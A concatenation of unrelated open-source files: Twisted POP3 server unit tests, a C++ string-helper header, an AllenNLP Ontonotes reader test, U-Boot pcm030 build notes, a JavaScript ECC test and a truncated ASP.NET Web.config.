["AUTH1", "SECONDAUTH", "AUTHLAST", "."])
def testIllegalPASS(self):
dummy = DummyPOP3()
client = LineSendingProtocol([
"PASS fooz",
"QUIT"
])
d = loopback.loopbackAsync(dummy, client)
return d.addCallback(self._cbTestIllegalPASS, client, dummy)
def _cbTestIllegalPASS(self, ignored, client, dummy):
expected_output = '+OK <moshez>\r\n-ERR USER required before PASS\r\n+OK \r\n'
self.failUnlessEqual(expected_output, '\r\n'.join(client.response) + '\r\n')
dummy.connectionLost(failure.Failure(Exception("Test harness disconnect")))
def testEmptyPASS(self):
dummy = DummyPOP3()
client = LineSendingProtocol([
"PASS ",
"QUIT"
])
d = loopback.loopbackAsync(dummy, client)
return d.addCallback(self._cbTestEmptyPASS, client, dummy)
def _cbTestEmptyPASS(self, ignored, client, dummy):
expected_output = '+OK <moshez>\r\n-ERR USER required before PASS\r\n+OK \r\n'
self.failUnlessEqual(expected_output, '\r\n'.join(client.response) + '\r\n')
dummy.connectionLost(failure.Failure(Exception("Test harness disconnect")))
class TestServerFactory:
implements(pop3.IServerFactory)
def cap_IMPLEMENTATION(self):
return "Test Implementation String"
def cap_EXPIRE(self):
return 60
challengers = {"SCHEME_1": None, "SCHEME_2": None}
def cap_LOGIN_DELAY(self):
return 120
pue = True
def perUserExpiration(self):
return self.pue
puld = True
def perUserLoginDelay(self):
return self.puld
class TestMailbox:
loginDelay = 100
messageExpiration = 25
class CapabilityTestCase(unittest.TestCase):
def setUp(self):
s = StringIO.StringIO()
p = pop3.POP3()
p.factory = TestServerFactory()
p.transport = internet.protocol.FileWrapper(s)
p.connectionMade()
p.do_CAPA()
self.caps = p.listCapabilities()
self.pcaps = s.getvalue().splitlines()
s = StringIO.StringIO()
p.mbox = TestMailbox()
p.transport = internet.protocol.FileWrapper(s)
p.do_CAPA()
self.lpcaps = s.getvalue().splitlines()
p.connectionLost(failure.Failure(Exception("Test harness disconnect")))
def contained(self, s, *caps):
for c in caps:
self.assertIn(s, c)
def testUIDL(self):
self.contained("UIDL", self.caps, self.pcaps, self.lpcaps)
def testTOP(self):
self.contained("TOP", self.caps, self.pcaps, self.lpcaps)
def testUSER(self):
self.contained("USER", self.caps, self.pcaps, self.lpcaps)
def testEXPIRE(self):
self.contained("EXPIRE 60 USER", self.caps, self.pcaps)
self.contained("EXPIRE 25", self.lpcaps)
def testIMPLEMENTATION(self):
self.contained(
"IMPLEMENTATION Test Implementation String",
self.caps, self.pcaps, self.lpcaps
)
def testSASL(self):
self.contained(
"SASL SCHEME_1 SCHEME_2",
self.caps, self.pcaps, self.lpcaps
)
def testLOGIN_DELAY(self):
self.contained("LOGIN-DELAY 120 USER", self.caps, self.pcaps)
self.assertIn("LOGIN-DELAY 100", self.lpcaps)
class GlobalCapabilitiesTestCase(unittest.TestCase):
def setUp(self):
s = StringIO.StringIO()
p = pop3.POP3()
p.factory = TestServerFactory()
p.factory.pue = p.factory.puld = False
p.transport = internet.protocol.FileWrapper(s)
p.connectionMade()
p.do_CAPA()
self.caps = p.listCapabilities()
self.pcaps = s.getvalue().splitlines()
s = StringIO.StringIO()
p.mbox = TestMailbox()
p.transport = internet.protocol.FileWrapper(s)
p.do_CAPA()
self.lpcaps = s.getvalue().splitlines()
p.connectionLost(failure.Failure(Exception("Test harness disconnect")))
def contained(self, s, *caps):
for c in caps:
self.assertIn(s, c)
def testEXPIRE(self):
self.contained("EXPIRE 60", self.caps, self.pcaps, self.lpcaps)
def testLOGIN_DELAY(self):
self.contained("LOGIN-DELAY 120", self.caps, self.pcaps, self.lpcaps)
class TestRealm:
def requestAvatar(self, avatarId, mind, *interfaces):
if avatarId == 'testuser':
return pop3.IMailbox, DummyMailbox(ValueError), lambda: None
assert False
class SASLTestCase(unittest.TestCase):
def testValidLogin(self):
p = pop3.POP3()
p.factory = TestServerFactory()
p.factory.challengers = {'CRAM-MD5': cred.credentials.CramMD5Credentials}
p.portal = cred.portal.Portal(TestRealm())
ch = cred.checkers.InMemoryUsernamePasswordDatabaseDontUse()
ch.addUser('testuser', 'testpassword')
p.portal.registerChecker(ch)
s = StringIO.StringIO()
p.transport = internet.protocol.FileWrapper(s)
p.connectionMade()
p.lineReceived("CAPA")
self.failUnless(s.getvalue().find("SASL CRAM-MD5") >= 0)
p.lineReceived("AUTH CRAM-MD5")
chal = s.getvalue().splitlines()[-1][2:]
chal = base64.decodestring(chal)
response = hmac.HMAC('testpassword', chal).hexdigest()
p.lineReceived(base64.encodestring('testuser ' + response).rstrip('\n'))
self.failUnless(p.mbox)
self.failUnless(s.getvalue().splitlines()[-1].find("+OK") >= 0)
p.connectionLost(failure.Failure(Exception("Test harness disconnect")))
class CommandMixin:
"""
Tests for all the commands a POP3 server is allowed to receive.
"""
extraMessage = '''\
From: guy
To: fellow
More message text for you.
'''
def setUp(self):
"""
Make a POP3 server protocol instance hooked up to a simple mailbox and
a transport that buffers output to a StringIO.
"""
p = pop3.POP3()
p.mbox = self.mailboxType(self.exceptionType)
p.schedule = list
self.pop3Server = p
s = StringIO.StringIO()
p.transport = internet.protocol.FileWrapper(s)
p.connectionMade()
s.truncate(0)
self.pop3Transport = s
def tearDown(self):
"""
Disconnect the server protocol so it can clean up anything it might
need to clean up.
"""
self.pop3Server.connectionLost(failure.Failure(Exception("Test harness disconnect")))
def _flush(self):
"""
Do some of the things that the reactor would take care of, if the
reactor were actually running.
"""
# Oh man FileWrapper is pooh.
self.pop3Server.transport._checkProducer()
def testLIST(self):
"""
Test the two forms of list: with a message index number, which should
return a short-form response, and without a message index number, which
should return a long-form response, one line per message.
"""
p = self.pop3Server
s = self.pop3Transport
p.lineReceived("LIST 1")
self._flush()
self.assertEquals(s.getvalue(), "+OK 1 44\r\n")
s.truncate(0)
p.lineReceived("LIST")
self._flush()
self.assertEquals(s.getvalue(), "+OK 1\r\n1 44\r\n.\r\n")
def testLISTWithBadArgument(self):
"""
Test that non-integers and out-of-bound integers produce appropriate
error responses.
"""
p = self.pop3Server
s = self.pop3Transport
p.lineReceived("LIST a")
self.assertEquals(
s.getvalue(),
"-ERR Invalid message-number: 'a'\r\n")
s.truncate(0)
p.lineReceived("LIST 0")
self.assertEquals(
s.getvalue(),
"-ERR Invalid message-number: 0\r\n")
s.truncate(0)
p.lineReceived("LIST 2")
self.assertEquals(
s.getvalue(),
"-ERR Invalid message-number: 2\r\n")
s.truncate(0)
def testUIDL(self):
"""
Test the two forms of the UIDL command. These are just like the two
forms of the LIST command.
"""
p = self.pop3Server
s = self.pop3Transport
p.lineReceived("UIDL 1")
self.assertEquals(s.getvalue(), "+OK 0\r\n")
s.truncate(0)
p.lineReceived("UIDL")
self._flush()
self.assertEquals(s.getvalue(), "+OK \r\n1 0\r\n.\r\n")
def testUIDLWithBadArgument(self):
"""
Test that UIDL with a non-integer or an out-of-bounds integer produces
the appropriate error response.
"""
p = self.pop3Server
s = self.pop3Transport
p.lineReceived("UIDL a")
self.assertEquals(
s.getvalue(),
"-ERR Bad message number argument\r\n")
s.truncate(0)
p.lineReceived("UIDL 0")
self.assertEquals(
s.getvalue(),
"-ERR Bad message number argument\r\n")
s.truncate(0)
p.lineReceived("UIDL 2")
self.assertEquals(
s.getvalue(),
"-ERR Bad message number argument\r\n")
s.truncate(0)
def testSTAT(self):
"""
Test the single form of the STAT command, which returns a short-form
response of the number of messages in the mailbox and their total size.
"""
p = self.pop3Server
s = self.pop3Transport
p.lineReceived("STAT")
self._flush()
self.assertEquals(s.getvalue(), "+OK 1 44\r\n")
def testRETR(self):
"""
Test downloading a message.
"""
p = self.pop3Server
s = self.pop3Transport
p.lineReceived("RETR 1")
self._flush()
self.assertEquals(
s.getvalue(),
"+OK 44\r\n"
"From: moshe\r\n"
"To: moshe\r\n"
"\r\n"
"How are you, friend?\r\n"
".\r\n")
s.truncate(0)
def testRETRWithBadArgument(self):
"""
Test that trying to download a message with a bad argument, either not
an integer or an out-of-bounds integer, fails with the appropriate
error response.
"""
p = self.pop3Server
s = self.pop3Transport
p.lineReceived("RETR a")
self.assertEquals(
s.getvalue(),
"-ERR Bad message number argument\r\n")
s.truncate(0)
p.lineReceived("RETR 0")
self.assertEquals(
s.getvalue(),
"-ERR Bad message number argument\r\n")
s.truncate(0)
p.lineReceived("RETR 2")
self.assertEquals(
s.getvalue(),
"-ERR Bad message number argument\r\n")
s.truncate(0)
def testTOP(self):
"""
Test downloading the headers and part of the body of a message.
"""
p = self.pop3Server
s = self.pop3Transport
p.mbox.messages.append(self.extraMessage)
p.lineReceived("TOP 1 0")
self._flush()
self.assertEquals(
s.getvalue(),
"+OK Top of message follows\r\n"
"From: moshe\r\n"
"To: moshe\r\n"
"\r\n"
".\r\n")
def testTOPWithBadArgument(self):
"""
Test that trying to download a message with a bad argument, either a
message number which isn't an integer or is an out-of-bounds integer or
a number of lines which isn't an integer or is a negative integer,
fails with the appropriate error response.
"""
p = self.pop3Server
s = self.pop3Transport
p.mbox.messages.append(self.extraMessage)
p.lineReceived("TOP 1 a")
self.assertEquals(
s.getvalue(),
"-ERR Bad line count argument\r\n")
s.truncate(0)
p.lineReceived("TOP 1 -1")
self.assertEquals(
s.getvalue(),
"-ERR Bad line count argument\r\n")
s.truncate(0)
p.lineReceived("TOP a 1")
self.assertEquals(
s.getvalue(),
"-ERR Bad message number argument\r\n")
s.truncate(0)
p.lineReceived("TOP 0 1")
self.assertEquals(
s.getvalue(),
"-ERR Bad message number argument\r\n")
s.truncate(0)
p.lineReceived("TOP 3 1")
self.assertEquals(
s.getvalue(),
"-ERR Bad message number argument\r\n")
s.truncate(0)
def testLAST(self):
"""
Test the exceedingly pointless LAST command, which tells you the
highest message index which you have already downloaded.
"""
p = self.pop3Server
s = self.pop3Transport
p.mbox.messages.append(self.extraMessage)
p.lineReceived('LAST')
self.assertEquals(
s.getvalue(),
"+OK 0\r\n")
s.truncate(0)
def testRetrieveUpdatesHighest(self):
"""
Test that issuing a RETR command updates the LAST response.
"""
p = self.pop3Server
s = self.pop3Transport
p.mbox.messages.append(self.extraMessage)
p.lineReceived('RETR 2')
self._flush()
s.truncate(0)
p.lineReceived('LAST')
self.assertEquals(
s.getvalue(),
'+OK 2\r\n')
s.truncate(0)
def testTopUpdatesHighest(self):
"""
Test that issuing a TOP command updates the LAST response.
"""
p = self.pop3Server
s = self.pop3Transport
p.mbox.messages.append(self.extraMessage)
p.lineReceived('TOP 2 10')
self._flush()
s.truncate(0)
p.lineReceived('LAST')
self.assertEquals(
s.getvalue(),
'+OK 2\r\n')
def testHighestOnlyProgresses(self):
"""
Test that downloading a message with a smaller index than the current
LAST response doesn't change the LAST response.
"""
p = self.pop3Server
s = self.pop3Transport
p.mbox.messages.append(self.extraMessage)
p.lineReceived('RETR 2')
self._flush()
p.lineReceived('TOP 1 10')
self._flush()
s.truncate(0)
p.lineReceived('LAST')
self.assertEquals(
s.getvalue(),
'+OK 2\r\n')
def testResetClearsHighest(self):
"""
Test that issuing RSET changes the LAST response to 0.
"""
p = self.pop3Server
s = self.pop3Transport
p.mbox.messages.append(self.extraMessage)
p.lineReceived('RETR 2')
self._flush()
p.lineReceived('RSET')
s.truncate(0)
p.lineReceived('LAST')
self.assertEquals(
s.getvalue(),
'+OK 0\r\n')
_listMessageDeprecation = (
"twisted.mail.pop3.IMailbox.listMessages may not "
"raise IndexError for out-of-bounds message numbers: "
"raise ValueError instead.")
_listMessageSuppression = util.suppress(
message=_listMessageDeprecation,
category=PendingDeprecationWarning)
_getUidlDeprecation = (
"twisted.mail.pop3.IMailbox.getUidl may not "
"raise IndexError for out-of-bounds message numbers: "
"raise ValueError instead.")
_getUidlSuppression = util.suppress(
message=_getUidlDeprecation,
category=PendingDeprecationWarning)
class IndexErrorCommandTestCase(CommandMixin, unittest.TestCase):
"""
Run all of the command tests against a mailbox which raises IndexError
when an out of bounds request is made. This behavior will be deprecated
shortly and then removed.
"""
exceptionType = IndexError
mailboxType = DummyMailbox
def testLISTWithBadArgument(self):
return CommandMixin.testLISTWithBadArgument(self)
testLISTWithBadArgument.suppress = [_listMessageSuppression]
def testUIDLWithBadArgument(self):
return CommandMixin.testUIDLWithBadArgument(self)
testUIDLWithBadArgument.suppress = [_getUidlSuppression]
def testTOPWithBadArgument(self):
return CommandMixin.testTOPWithBadArgument(self)
testTOPWithBadArgument.suppress = [_listMessageSuppression]
def testRETRWithBadArgument(self):
return CommandMixin.testRETRWithBadArgument(self)
testRETRWithBadArgument.suppress = [_listMessageSuppression]
class ValueErrorCommandTestCase(CommandMixin, unittest.TestCase):
"""
Run all of the command tests against a mailbox which raises ValueError
when an out of bounds request is made. This is the correct behavior and
after support for mailboxes which raise IndexError is removed, this will
become just C{CommandTestCase}.
"""
exceptionType = ValueError
mailboxType = DummyMailbox
class SyncDeferredMailbox(DummyMailbox):
"""
Mailbox which has a listMessages implementation which returns a Deferred
which has already fired.
"""
def listMessages(self, n=None):
return defer.succeed(DummyMailbox.listMessages(self, n))
class IndexErrorSyncDeferredCommandTestCase(IndexErrorCommandTestCase):
"""
Run all of the L{IndexErrorCommandTestCase} tests with a
synchronous-Deferred returning IMailbox implementation.
"""
mailboxType = SyncDeferredMailbox
class ValueErrorSyncDeferredCommandTestCase(ValueErrorCommandTestCase):
"""
Run all of the L{ValueErrorCommandTestCase} tests with a
synchronous-Deferred returning IMailbox implementation.
"""
mailboxType = SyncDeferredMailbox
class AsyncDeferredMailbox(DummyMailbox):
"""
Mailbox which has a listMessages implementation which returns a Deferred
which has not yet fired.
"""
def __init__(self, *a, **kw):
self.waiting = []
DummyMailbox.__init__(self, *a, **kw)
def listMessages(self, n=None):
d = defer.Deferred()
# See AsyncDeferredMailbox._flush
self.waiting.append((d, DummyMailbox.listMessages(self, n)))
return d
class IndexErrorAsyncDeferredCommandTestCase(IndexErrorCommandTestCase):
"""
Run all of the L{IndexErrorCommandTestCase} tests with an asynchronous-Deferred
returning IMailbox implementation.
"""
mailboxType = AsyncDeferredMailbox
def _flush(self):
"""
Fire whatever Deferreds we've built up in our mailbox.
"""
while self.pop3Server.mbox.waiting:
d, a = self.pop3Server.mbox.waiting.pop()
d.callback(a)
IndexErrorCommandTestCase._flush(self)
class ValueErrorAsyncDeferredCommandTestCase(ValueErrorCommandTestCase):
"""
Run all of the L{IndexErrorCommandTestCase} tests with an asynchronous-Deferred
returning IMailbox implementation.
"""
mailboxType = AsyncDeferredMailbox
def _flush(self):
"""
Fire whatever Deferreds we've built up in our mailbox.
"""
while self.pop3Server.mbox.waiting:
d, a = self.pop3Server.mbox.waiting.pop()
d.callback(a)
ValueErrorCommandTestCase._flush(self)
class POP3MiscTestCase(unittest.TestCase):
"""
Miscellaneous tests more to do with module/package structure than
anything to do with the Post Office Protocol.
"""
def test_all(self):
"""
This test checks that all names listed in
twisted.mail.pop3.__all__ are actually present in the module.
"""
mod = twisted.mail.pop3
for attr in mod.__all__:
self.failUnless(hasattr(mod, attr))
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2016, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
#ifndef FATAL_INCLUDE_fatal_test_string_h
#define FATAL_INCLUDE_fatal_test_string_h
#include <fatal/string/string_view.h>
#include <fatal/time/time.h>
#include <fatal/type/tag.h>
#include <chrono>
#include <stdexcept>
#include <string>
#include <type_traits>
#include <cstring>
namespace fatal {
inline void append(std::string &out, bool from) {
out.append(from ? "true" : "false");
}
template <typename T, typename = decltype(std::to_string(std::declval<T>()))>
void append(std::string &out, T from) {
out.append(std::to_string(from));
}
template <typename R, typename P>
void append(std::string &out, std::chrono::duration<R, P> from) {
append(out, from.count());
out.append(time::suffix(from));
}
inline void append(std::string &out, std::string const &from) {
out.append(from);
}
inline void append(std::string &out, string_view from) {
out.append(from.data(), from.size());
}
inline void append(std::string &out, char from) {
out.push_back(from);
}
inline void append(std::string &out, char const *from) {
out.append(from);
}
namespace detail {
namespace string_impl {
inline bool parse(tag<bool>, std::string const &from) {
// TODO: use a compile-time trie??
if (from == "true") {
return true;
}
if (from == "false") {
return false;
}
throw std::invalid_argument("unrecognized boolean");
}
inline short parse(tag<short>, std::string const &from) {
return static_cast<short>(std::stoi(from));
}
inline int parse(tag<int>, std::string const &from) {
return std::stoi(from);
}
inline long parse(tag<long>, std::string const &from) {
return std::stol(from);
}
inline long long parse(tag<long long>, std::string const &from) {
return std::stoll(from);
}
inline unsigned long parse(tag<unsigned long>, std::string const &from) {
return std::stoul(from);
}
inline unsigned long long parse(
tag<unsigned long long>, std::string const &from
) {
return std::stoull(from);
}
inline float parse(tag<float>, std::string const &from) {
return std::stof(from);
}
inline double parse(tag<double>, std::string const &from) {
return std::stod(from);
}
inline long double parse(tag<long double>, std::string const &from) {
return std::stold(from);
}
inline std::string parse(tag<std::string>, std::string const &from) {
return from;
}
void to_string_impl(std::string &) {}
template <typename T, typename... Args>
void to_string_impl(std::string &out, T &&value, Args &&...args) {
append(out, std::forward<T>(value));
to_string_impl(out, std::forward<Args>(args)...);
}
} // namespace string_impl {
} // namespace detail {
// for internal tests only - no guaranteed efficiency
// TODO: TEST
template <typename To>
To parse(std::string const &from) {
return detail::string_impl::parse(tag<To>(), from);
}
// for internal tests only - no guaranteed efficiency
// TODO: TEST
template <typename... Args>
std::string &append_to_string(std::string &out, Args &&...args) {
detail::string_impl::to_string_impl(out, std::forward<Args>(args)...);
return out;
}
// TODO: TEST
template <typename... Args>
std::string to_string(Args &&...args) {
std::string out;
append_to_string(out, std::forward<Args>(args)...);
return out;
}
std::string const &to_string(std::string const &s) { return s; }
std::string &to_string(std::string &s) { return s; }
std::string &&to_string(std::string &&s) { return std::move(s); }
} // namespace fatal {
#endif // FATAL_INCLUDE_fatal_test_string_h
| {
"pile_set_name": "Github"
} |
# pylint: disable=no-self-use,invalid-name
from __future__ import division
from __future__ import absolute_import
from nltk import Tree
from allennlp.data.dataset_readers.dataset_utils import Ontonotes
from allennlp.common.testing import AllenNlpTestCase
class TestOntonotes(AllenNlpTestCase):
def test_dataset_iterator(self):
reader = Ontonotes()
annotated_sentences = list(reader.dataset_iterator(self.FIXTURES_ROOT / u'conll_2012' / u'subdomain'))
annotation = annotated_sentences[0]
assert annotation.document_id == u"test/test/01/test_001"
assert annotation.sentence_id == 0
assert annotation.words == [u'Mali', u'government', u'officials', u'say', u'the', u'woman',
u"'s", u'confession', u'was', u'forced', u'.']
assert annotation.pos_tags == [u'NNP', u'NN', u'NNS', u'VBP', u'DT',
u'NN', u'POS', u'NN', u'VBD', u'JJ', u'.']
assert annotation.word_senses == [None, None, 1, 1, None, 2, None, None, 1, None, None]
assert annotation.predicate_framenet_ids == [None, None, None, u'01', None,
None, None, None, u'01', None, None]
assert annotation.srl_frames == [(u"say", [u'B-ARG0', u'I-ARG0', u'I-ARG0', u'B-V', u'B-ARG1',
u'I-ARG1', u'I-ARG1', u'I-ARG1', u'I-ARG1', u'I-ARG1', u'O']),
(u"was", [u'O', u'O', u'O', u'O', u'B-ARG1', u'I-ARG1', u'I-ARG1',
u'I-ARG1', u'B-V', u'B-ARG2', u'O'])]
assert annotation.named_entities == [u'B-GPE', u'O', u'O', u'O', u'O', u'O',
u'O', u'O', u'O', u'O', u'O']
assert annotation.predicate_lemmas == [None, None, u'official', u'say', None,
u'man', None, None, u'be', None, None]
assert annotation.speakers == [None, None, None, None, None, None,
None, None, None, None, None]
assert annotation.parse_tree == Tree.fromstring(u"(TOP(S(NP(NML (NNP Mali) (NN government) )"
u" (NNS officials) )(VP (VBP say) (SBAR(S(NP(NP"
u" (DT the) (NN woman) (POS 's) ) (NN "
u"confession) )(VP (VBD was) (ADJP (JJ "
u"forced) ))))) (. .) ))")
assert annotation.coref_spans == set([(1, (4, 6)), (3, (4, 7))])
annotation = annotated_sentences[1]
assert annotation.document_id == u"test/test/02/test_002"
assert annotation.sentence_id == 0
assert annotation.words == [u'The', u'prosecution', u'rested', u'its', u'case', u'last', u'month',
u'after', u'four', u'months', u'of', u'hearings', u'.']
assert annotation.pos_tags == [u'DT', u'NN', u'VBD', u'PRP$', u'NN', u'JJ', u'NN',
u'IN', u'CD', u'NNS', u'IN', u'NNS', u'.']
assert annotation.word_senses == [None, 2, 5, None, 2, None, None,
None, None, 1, None, 1, None]
assert annotation.predicate_framenet_ids == [None, None, u'01', None, None, None,
None, None, None, None, None, u'01', None]
assert annotation.srl_frames == [(u'rested', [u'B-ARG0', u'I-ARG0', u'B-V', u'B-ARG1',
u'I-ARG1', u'B-ARGM-TMP', u'I-ARGM-TMP',
u'B-ARGM-TMP', u'I-ARGM-TMP', u'I-ARGM-TMP',
u'I-ARGM-TMP', u'I-ARGM-TMP', u'O']),
(u'hearings', [u'O', u'O', u'O', u'O', u'O', u'O', u'O', u'O',
u'O', u'O', u'O', u'B-V', u'O'])]
assert annotation.named_entities == [u'O', u'O', u'O', u'O', u'O', u'B-DATE', u'I-DATE',
u'O', u'B-DATE', u'I-DATE', u'O', u'O', u'O']
assert annotation.predicate_lemmas == [None, u'prosecution', u'rest', None, u'case',
None, None, None, None, u'month', None, u'hearing', None]
assert annotation.speakers == [None, None, None, None, None, None,
None, None, None, None, None, None, None]
assert annotation.parse_tree == Tree.fromstring(u"(TOP(S(NP (DT The) (NN prosecution) )(VP "
u"(VBD rested) (NP (PRP$ its) (NN case) )"
u"(NP (JJ last) (NN month) )(PP (IN after) "
u"(NP(NP (CD four) (NNS months) )(PP (IN"
u" of) (NP (NNS hearings) ))))) (. .) ))")
assert annotation.coref_spans == set([(2, (0, 1)), (2, (3, 3))])
# Check we can handle sentences without verbs.
annotation = annotated_sentences[2]
assert annotation.document_id == u'test/test/03/test_003'
assert annotation.sentence_id == 0
assert annotation.words == [u'Denise', u'Dillon', u'Headline', u'News', u'.']
assert annotation.pos_tags == [u'NNP', u'NNP', u'NNP', u'NNP', u'.']
assert annotation.word_senses == [None, None, None, None, None]
assert annotation.predicate_framenet_ids == [None, None, None, None, None]
assert annotation.srl_frames == []
assert annotation.named_entities == [u'B-PERSON', u'I-PERSON',
u'B-WORK_OF_ART', u'I-WORK_OF_ART', u'O']
assert annotation.predicate_lemmas == [None, None, None, None, None]
assert annotation.speakers == [None, None, None, None, None]
assert annotation.parse_tree == Tree.fromstring(u"(TOP(FRAG(NP (NNP Denise) "
u" (NNP Dillon) )(NP (NNP Headline) "
u"(NNP News) ) (. .) ))")
assert annotation.coref_spans == set([(2, (0, 1))])
# Check we can handle sentences with 2 identical verbs.
annotation = annotated_sentences[3]
assert annotation.document_id == u'test/test/04/test_004'
assert annotation.sentence_id == 0
assert annotation.words == [u'and', u'that', u'wildness', u'is', u'still', u'in', u'him', u',',
u'as', u'it', u'is', u'with', u'all', u'children', u'.']
assert annotation.pos_tags == [u'CC', u'DT', u'NN', u'VBZ', u'RB', u'IN', u'PRP', u',',
u'IN', u'PRP', u'VBZ', u'IN', u'DT', u'NNS', u'.']
assert annotation.word_senses == [None, None, None, 4.0, None, None, None, None,
None, None, 5.0, None, None, None, None]
assert annotation.predicate_framenet_ids == [None, None, None, u'01', None, None,
None, None, None, None, u'01', None, None, None, None]
assert annotation.srl_frames == [(u'is', [u'B-ARGM-DIS', u'B-ARG1', u'I-ARG1',
u'B-V', u'B-ARGM-TMP', u'B-ARG2', u'I-ARG2',
u'O', u'B-ARGM-ADV', u'I-ARGM-ADV', u'I-ARGM-ADV',
u'I-ARGM-ADV', u'I-ARGM-ADV', u'I-ARGM-ADV', u'O']),
(u'is', [u'O', u'O', u'O', u'O', u'O', u'O', u'O', u'O', u'O',
u'B-ARG1', u'B-V', u'B-ARG2', u'I-ARG2', u'I-ARG2', u'O'])]
assert annotation.named_entities == [u'O', u'O', u'O', u'O', u'O', u'O', u'O', u'O',
u'O', u'O', u'O', u'O', u'O', u'O', u'O']
assert annotation.predicate_lemmas == [None, None, None, u'be', None, None, None,
None, None, None, u'be', None, None, None, None]
assert annotation.speakers == [u'_Avalon_', u'_Avalon_', u'_Avalon_', u'_Avalon_', u'_Avalon_',
u'_Avalon_', u'_Avalon_', u'_Avalon_', u'_Avalon_', u'_Avalon_',
u'_Avalon_', u'_Avalon_', u'_Avalon_', u'_Avalon_', u'_Avalon_']
assert annotation.parse_tree == Tree.fromstring(u"(TOP (S (CC and) (NP (DT that) (NN wildness)) "
u"(VP (VBZ is) (ADVP (RB still)) (PP (IN in) (NP "
u"(PRP him))) (, ,) (SBAR (IN as) (S (NP (PRP it)) "
u"(VP (VBZ is) (PP (IN with) (NP (DT all) (NNS "
u"children))))))) (. .)))")
assert annotation.coref_spans == set([(14, (6, 6))])
def test_dataset_path_iterator(self):
reader = Ontonotes()
files = list(reader.dataset_path_iterator(self.FIXTURES_ROOT / u'conll_2012'))
expected_paths = [unicode(self.FIXTURES_ROOT / u'conll_2012' / u'subdomain' / u'example.gold_conll'),
unicode(self.FIXTURES_ROOT / u'conll_2012' / u'subdomain2' / u'example.gold_conll')]
assert len(files) == len(expected_paths)
assert set(files) == set(expected_paths)
def test_ontonotes_can_read_conll_file_with_multiple_documents(self):
reader = Ontonotes()
file_path = self.FIXTURES_ROOT / u'coref' / u'coref.gold_conll'
documents = list(reader.dataset_document_iterator(file_path))
assert len(documents) == 2
| {
"pile_set_name": "Github"
} |
To build RAMBOOT, replace this section the main Makefile
pcm030_config \
pcm030_RAMBOOT_config \
pcm030_LOWBOOT_config: unconfig
@ >include/config.h
@[ -z "$(findstring LOWBOOT_,$@)" ] || \
{ echo "CONFIG_SYS_TEXT_BASE = 0xFF000000" >board/phytec/pcm030/config.tmp ; \
echo "... with LOWBOOT configuration" ; \
}
@[ -z "$(findstring RAMBOOT_,$@)" ] || \
{ echo "CONFIG_SYS_TEXT_BASE = 0x00100000" >board/phycore_mpc5200b_tiny/\
config.tmp ; \
echo "... with RAMBOOT configuration" ; \
echo "... remember to make sure that MBAR is already \
switched to 0xF0000000 !!!" ; \
}
@$(MKCONFIG) -a pcm030 ppc mpc5xxx pcm030 phytec
@ echo "remember to set pcm030_REV to 0 for rev 1245.0 rev or to 1 for rev 1245.1"
Alternative SDRAM settings:
#define SDRAM_MODE 0x018D0000
#define SDRAM_EMODE 0x40090000
#define SDRAM_CONTROL 0x715f0f00
#define SDRAM_CONFIG1 0x73722930
#define SDRAM_CONFIG2 0x47770000
/* Settings for XLB = 99 MHz */
#define SDRAM_MODE 0x008D0000
#define SDRAM_EMODE 0x40090000
#define SDRAM_CONTROL 0x714b0f00
#define SDRAM_CONFIG1 0x63611730
#define SDRAM_CONFIG2 0x47670000
The board ships default with the environment in EEPROM
Moving the environment to flash can be more reliable
#define CONFIG_ENV_IS_IN_FLASH 1
#define CONFIG_ENV_ADDR (CONFIG_SYS_FLASH_BASE + 0xfe0000)
#define CONFIG_ENV_SIZE 0x20000
#define CONFIG_ENV_SECT_SIZE 0x20000
| {
"pile_set_name": "Github"
} |
var ecc = require("./index.js");
var key1 = new ecc.ECKey(ecc.ECCurves.secp160r1);
var key2 = new ecc.ECKey(ecc.ECCurves.secp160r1);
console.log(key1.deriveSharedSecret(key2));
var key3 = new ecc.ECKey(ecc.ECCurves.secp160r1,key1.PrivateKey);
var key4 = new ecc.ECKey(ecc.ECCurves.secp160r1,key2.PublicKey,true);
console.log(key3.deriveSharedSecret(key4));
var key1 = new ecc.ECKey(ecc.ECCurves.secp256r1);
var key2 = new ecc.ECKey(ecc.ECCurves.secp256r1);
console.log(key1.deriveSharedSecret(key2));
var key3 = new ecc.ECKey(ecc.ECCurves.secp256r1,key1.PrivateKey);
var key4 = new ecc.ECKey(ecc.ECCurves.secp256r1,key2.PublicKey,true);
console.log(key3.deriveSharedSecret(key4));
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<!--
For more information on how to configure your ASP.NET application, please visit
https://go.microsoft.com/fwlink/?LinkId=301879
-->
<configuration>
<connectionStrings>
<add name="WfDBConnectionString" connectionString="Data Source=127.0.0.1;Initial Catalog=WfDBCommunity;Integrated Security=False;User ID=sa;Password=sqlserver;Connect Timeout=15;Encrypt=False;TrustServerCertificate=False" />
<!--<add name="WfDBConnectionString"
connectionString="user id=wfdbbesley201;password=123456;data source=(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=127.0.0.1)(PORT=1521))(CONNECT_DATA=(SERVICE_NAME=XE)))"/>-->
</connectionStrings>
<appSettings>
<add key="webpages:Version" value="3.0.0.0" />
<add key="webpages:Enabled" value="false" />
<add key="PreserveLoginUrl" value="true" />
<add key="ClientValidationEnabled" value="true" />
<add key="UnobtrusiveJavaScriptEnabled" value="true" />
<add key="owin:AutomaticAppStartup" value="false" />
<add key="vs:EnableBrowserLink" value="false" />
</appSettings>
<system.web>
<compilation debug="true" targetFramework="4.5" />
<httpRuntime targetFramework="4.5" />
</system.web>
<system.webServer>
<handlers>
<remove name="ExtensionlessUrlHandler-Integrated-4.0" />
<remove name="OPTIONSVerbHandler" />
<remove name="TRACEVerbHandler" />
<add name="ExtensionlessUrlHandler-Integrated-4.0" path="*." verb="*" type="System.Web.Handlers.TransferRequestHandler" preCondition="integratedMode,runtimeVersionv4.0" />
</handlers>
<validation validateIntegratedModeConfiguration="false" />
</system.webServer>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="Newtonsoft.Json" culture="neutral" publicKeyToken="30ad4fe6b2a6aeed" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Optimization" publicKeyToken="31bf3856ad364e35" />
